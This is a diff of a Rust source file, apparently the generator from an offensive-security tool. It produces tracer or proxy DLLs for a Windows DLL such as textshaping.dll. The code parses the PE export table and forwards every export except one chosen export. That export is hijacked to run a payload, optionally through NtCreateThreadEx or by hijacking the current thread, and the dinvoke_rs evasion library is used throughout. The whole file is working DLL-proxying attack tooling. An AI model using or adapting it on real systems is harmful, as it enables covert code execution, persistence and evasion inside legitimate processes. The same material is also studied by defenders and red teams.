1
+ use std:: { env, fs:: { self } } ;
2
+ use getopts:: Options ;
3
+
4
+ static TEMPLATE1 : & str = r#"
5
+ #[no_mangle]
6
+ fn {FUNC_NAME}()
7
+ {
8
+ unsafe
9
+ {
10
+ asm!(
11
+ "push rcx",
12
+ "push rdx",
13
+ "push r8",
14
+ "push r9",
15
+ "sub rsp, 0x28",
16
+ "mov rcx, {INDEX}",
17
+ "call {}",
18
+ "add rsp, 0x28",
19
+ "pop r9",
20
+ "pop r8",
21
+ "pop rdx",
22
+ "pop rcx",
23
+ "jmp rax",
24
+ sym gateway,
25
+ options(nostack)
26
+ );
27
+ }
28
+ }
29
+ "# ;
30
+ static TEMPLATE2 : & str = r#"{NUM} => {"{NAME}".to_string()}"# ;
31
+
32
+ static TEMPLATE3 : & str = r#"#[no_mangle]
33
+ fn {FORWARDED_NAME}() {
34
+ }"# ;
35
+
36
+
37
+ fn main ( )
38
+ {
39
+
40
+ let args: Vec < String > = env:: args ( ) . collect ( ) ;
41
+ let program = args[ 0 ] . clone ( ) ;
42
+ let mut opts = Options :: new ( ) ;
43
+ opts. reqopt ( "m" , "mode" , "Create a dll to trace (trace) or proxy (proxy) called exports." , "" ) ;
44
+ opts. optflag ( "h" , "help" , "Print this help menu." ) ;
45
+ opts. reqopt ( "p" , "path" , "Path to the original dll." , "" ) ;
46
+ opts. optopt ( "e" , "export" , "Exported function in which to execute the payload." , "" ) ;
47
+ opts. optopt ( "l" , "logpath" , r"Path in which to write the log file [default: C:\Windows\Temp\result.log]." , "" ) ;
48
+ opts. optflag ( "n" , "native" , "Use NtCreateThreadEx instead of std::thread to run the payload." ) ;
49
+ opts. optflag ( "c" , "current-thread" , "Hijack the current thread instead of running the payload on a new thread." ) ;
50
+
51
+
52
+ let matches = match opts. parse ( & args[ 1 ..] )
53
+ {
54
+ Ok ( m) => { m }
55
+ Err ( _) => { print_usage ( & program, opts) ; return ; }
56
+ } ;
57
+
58
+ if matches. opt_present ( "h" )
59
+ {
60
+ print_usage ( & program, opts) ;
61
+ return ;
62
+ }
63
+ let mut log_path = r"C:\Windows\Temp\result.log" . to_string ( ) ;
64
+ let mut hijacked_export = String :: new ( ) ;
65
+ let mut native = "false" . to_string ( ) ;
66
+ let mut hijack = false ;
67
+ let path = matches. opt_str ( "p" ) . unwrap ( ) ;
68
+ let mode = matches. opt_str ( "m" ) . unwrap ( ) ;
69
+
70
+ if matches. opt_present ( "l" ) {
71
+ log_path = matches. opt_str ( "l" ) . unwrap ( )
72
+ }
73
+
74
+ if matches. opt_present ( "e" ) {
75
+ hijacked_export = matches. opt_str ( "e" ) . unwrap ( )
76
+ }
77
+
78
+ if matches. opt_present ( "n" ) {
79
+ native = "true" . to_string ( ) ;
80
+ }
81
+
82
+ if matches. opt_present ( "c" ) {
83
+ hijack = true ;
84
+ }
85
+
86
+ if mode == "trace" {
87
+ generate_tracer_dll ( path, log_path) ;
88
+ } else {
89
+ generate_proxy_dll ( path, hijacked_export, native, hijack) ;
90
+ }
91
+
92
+ println ! ( "[+] Process completed." )
93
+
94
+ }
95
+
96
+ fn print_usage ( program : & str , opts : Options ) {
97
+ let brief = format ! ( r"Usage: {} -m trace|proxy -p C:\Windows\System32\textshaping.dll [options]" , program) ;
98
+ print ! ( "{}" , opts. usage( & brief) ) ;
99
+ }
100
+
101
+ fn generate_tracer_dll ( original_dll_path : String , log_path : String )
102
+ {
103
+ let loaded_dll = dinvoke_rs:: dinvoke:: load_library_a ( & original_dll_path) ;
104
+ if loaded_dll == 0 {
105
+ return ;
106
+ }
107
+
108
+ let names_info = get_function_info ( loaded_dll) ;
109
+ let number_of_functions: String = names_info. len ( ) . to_string ( ) ;
110
+ let mut first_string = String :: new ( ) ;
111
+ let mut second_string = "\n fn get_function_name(index: i32) -> String\n {\n \t match index\n \t {" . to_string ( ) ;
112
+ let mut def_file_string = "EXPORTS\n " . to_string ( ) ;
113
+
114
+ for ( i, name) in names_info. iter ( ) . enumerate ( )
115
+ {
116
+ let template1 = TEMPLATE1 . replace ( "{FUNC_NAME}" , & name. 0 ) . replace ( "{INDEX}" , & i. to_string ( ) ) ;
117
+ first_string. push_str ( & template1) ;
118
+ let template2 = TEMPLATE2 . replace ( "{NUM}" , & i. to_string ( ) ) . replace ( "{NAME}" , & name. 0 ) ;
119
+ second_string. push_str ( "\n \t \t " ) ;
120
+ second_string. push_str ( & template2) ;
121
+
122
+ let export_string = format ! ( "{} @{}\n " , & name. 0 , name. 1 ) ;
123
+ def_file_string. push_str ( & export_string) ;
124
+ }
125
+
126
+ let ending = "\n \t \t _ => {String::new()}\n \t }\n } " ;
127
+ second_string. push_str ( ending) ;
128
+
129
+ let path = env:: current_exe ( ) . unwrap ( ) ;
130
+ let path = path. to_str ( ) . unwrap ( ) ;
131
+ let path = path. replace ( "generator.exe" , "" ) ;
132
+ let template_path = format ! ( "{}{}" , & path, r"..\..\template1.txt" ) ;
133
+
134
+ let mut content = fs:: read_to_string ( & template_path) . expect ( "[x] Couldn't read template1.txt file." ) ;
135
+ content = content. replace ( "{DLL_NAME}" , & original_dll_path)
136
+ . replace ( "{NUM_FUNCTIONS}" , & number_of_functions)
137
+ . replace ( "{LOG_PATH}" , & log_path) ;
138
+
139
+ content. push_str ( & first_string) ;
140
+ content. push_str ( & second_string) ;
141
+
142
+ let lib_path = format ! ( "{}{}" , path, r"..\..\..\ExportTracer\src\lib.rs" ) ;
143
+ let _ = fs:: write ( lib_path, content) ;
144
+
145
+ let def_path = format ! ( "{}{}" , path, r"..\..\..\ExportTracer\file.def" ) . replace ( r"\" , r"\\" ) ;
146
+ let _ = fs:: write ( & def_path, def_file_string) ;
147
+
148
+ let config_path = format ! ( "{}{}" , path, r"..\..\..\ExportTracer\.cargo\config" ) ;
149
+ let template_path: String = format ! ( "{}{}" , & path, r"..\..\template3.txt" ) ;
150
+
151
+ let mut config_content = fs:: read_to_string ( & template_path) . expect ( "[x] Couldn't read cargo.toml file." ) ;
152
+ config_content = config_content. replace ( "{DEF_PATH}" , & def_path) ;
153
+
154
+ let _ = fs:: write ( config_path, config_content) ;
155
+
156
+ }
157
+
158
+ fn generate_proxy_dll ( original_dll_path : String , hijacked_export : String , native : String , hijack : bool )
159
+ {
160
+ let loaded_dll = dinvoke_rs:: dinvoke:: load_library_a ( & original_dll_path) ;
161
+ if loaded_dll == 0 {
162
+ return ;
163
+ }
164
+ let names_info = get_function_info ( loaded_dll) ;
165
+ let number_of_functions: String = names_info. len ( ) . to_string ( ) ;
166
+ let module_name = original_dll_path. replace ( ".dll" , "" ) ;
167
+ let mut first_string = String :: new ( ) ;
168
+ let mut second_string = "\n fn get_function_name(index: i32) -> String\n {\n \t match index\n \t {" . to_string ( ) ;
169
+ let mut third_string: String = String :: new ( ) ;
170
+ let mut def_file_string = "EXPORTS\n " . to_string ( ) ;
171
+ for ( i, name) in names_info. iter ( ) . enumerate ( )
172
+ {
173
+ if & name. 0 == & hijacked_export
174
+ {
175
+ let template1 = TEMPLATE1 . replace ( "{FUNC_NAME}" , & name. 0 ) . replace ( "{INDEX}" , & i. to_string ( ) ) ;
176
+ first_string. push_str ( & template1) ;
177
+ let template2 = TEMPLATE2 . replace ( "{NUM}" , & i. to_string ( ) ) . replace ( "{NAME}" , & name. 0 ) ;
178
+ second_string. push_str ( "\n \t \t " ) ;
179
+ second_string. push_str ( & template2) ;
180
+ let export_string = format ! ( "{} @{}\n " , & name. 0 , name. 1 ) ;
181
+ def_file_string. push_str ( & export_string) ;
182
+ }
183
+ else
184
+ {
185
+ let template3 = TEMPLATE3 . replace ( "{FORWARDED_NAME}" , & name. 0 ) ;
186
+ third_string. push_str ( & template3) ;
187
+ third_string. push ( '\n' ) ;
188
+ let export_string = format ! ( "{}={}.{} @{}\n " , & name. 0 , module_name, & name. 0 , name. 1 ) ;
189
+ def_file_string. push_str ( & export_string) ;
190
+ }
191
+
192
+ }
193
+
194
+ let ending = "\n \t \t _ => {String::new()}\n \t }\n } " ;
195
+ second_string. push_str ( ending) ;
196
+ let path = env:: current_exe ( ) . unwrap ( ) ;
197
+ let path = path. to_str ( ) . unwrap ( ) ;
198
+ let path = path. replace ( "generator.exe" , "" ) ;
199
+ let template_path;
200
+ if !hijack {
201
+ template_path = format ! ( "{}{}" , & path, r"..\..\template2.txt" ) ;
202
+ } else {
203
+ template_path = format ! ( "{}{}" , & path, r"..\..\template4.txt" ) ;
204
+ }
205
+ let mut content = fs:: read_to_string ( & template_path) . expect ( "[x] Couldn't read template2.txt file." ) ;
206
+
207
+ content = content. replace ( "{DLL_NAME}" , & original_dll_path)
208
+ . replace ( "{NUM_FUNCTIONS}" , & number_of_functions)
209
+ . replace ( "{NATIVE}" , & native) ;
210
+ content. push_str ( & first_string) ;
211
+ content. push_str ( & third_string) ;
212
+ content. push_str ( & second_string) ;
213
+
214
+ let lib_path = format ! ( "{}{}" , path, r"..\..\..\ProxyDll\src\lib.rs" ) ;
215
+ let _ = fs:: write ( lib_path, content) ;
216
+
217
+ let def_path = format ! ( "{}{}" , path, r"..\..\..\ProxyDll\file.def" ) . replace ( r"\" , r"\\" ) ;
218
+ let _ = fs:: write ( & def_path, def_file_string) ;
219
+
220
+ let config_path = format ! ( "{}{}" , path, r"..\..\..\ProxyDll\.cargo\config" ) ;
221
+ let template_path: String = format ! ( "{}{}" , & path, r"..\..\template3.txt" ) ;
222
+
223
+ let mut config_content = fs:: read_to_string ( & template_path) . expect ( "[x] Couldn't read cargo.toml file." ) ;
224
+ config_content = config_content. replace ( "{DEF_PATH}" , & def_path) ;
225
+ let _ = fs:: write ( config_path, config_content) ;
226
+
227
+
228
+ }
229
+
230
+
231
+ pub fn get_function_info ( module_base_address : isize ) -> Vec < ( String , u32 ) > {
232
+
233
+ unsafe
234
+ {
235
+ let mut functions_info: Vec < ( String , u32 ) > = vec ! [ ] ;
236
+ let pe_header = * ( ( module_base_address + 0x3C ) as * mut i32 ) ;
237
+ let opt_header: isize = module_base_address + ( pe_header as isize ) + 0x18 ;
238
+ let magic = * ( opt_header as * mut i16 ) ;
239
+ let p_export: isize ;
240
+
241
+ if magic == 0x010b {
242
+ p_export = opt_header + 0x60 ;
243
+ }
244
+ else {
245
+ p_export = opt_header + 0x70 ;
246
+ }
247
+
248
+ let export_rva = * ( p_export as * mut i32 ) ;
249
+ let ordinal_base = * ( ( module_base_address + export_rva as isize + 0x10 ) as * mut u32 ) ;
250
+ let number_of_names = * ( ( module_base_address + export_rva as isize + 0x18 ) as * mut u32 ) ;
251
+ let names_rva = * ( ( module_base_address + export_rva as isize + 0x20 ) as * mut u32 ) ;
252
+ let ordinals_rva = * ( ( module_base_address + export_rva as isize + 0x24 ) as * mut u32 ) ;
253
+ for x in 0 ..number_of_names
254
+ {
255
+
256
+ let address = * ( ( module_base_address + names_rva as isize + x as isize * 4 ) as * mut i32 ) ;
257
+ let ordinal = * ( ( module_base_address + ordinals_rva as isize + x as isize * 2 ) as * mut u16 ) ;
258
+ let mut function_name_ptr = ( module_base_address + address as isize ) as * mut u8 ;
259
+ let mut function_name: String = "" . to_string ( ) ;
260
+
261
+ while * function_name_ptr as char != '\0' // null byte
262
+ {
263
+ function_name. push ( * function_name_ptr as char ) ;
264
+ function_name_ptr = function_name_ptr. add ( 1 ) ;
265
+ }
266
+
267
+ let func_ordinal = ordinal_base + ordinal as u32 ;
268
+ functions_info. push ( ( function_name, func_ordinal) ) ;
269
+
270
+ }
271
+
272
+ functions_info
273
+
274
+ }
275
+ }
0 commit comments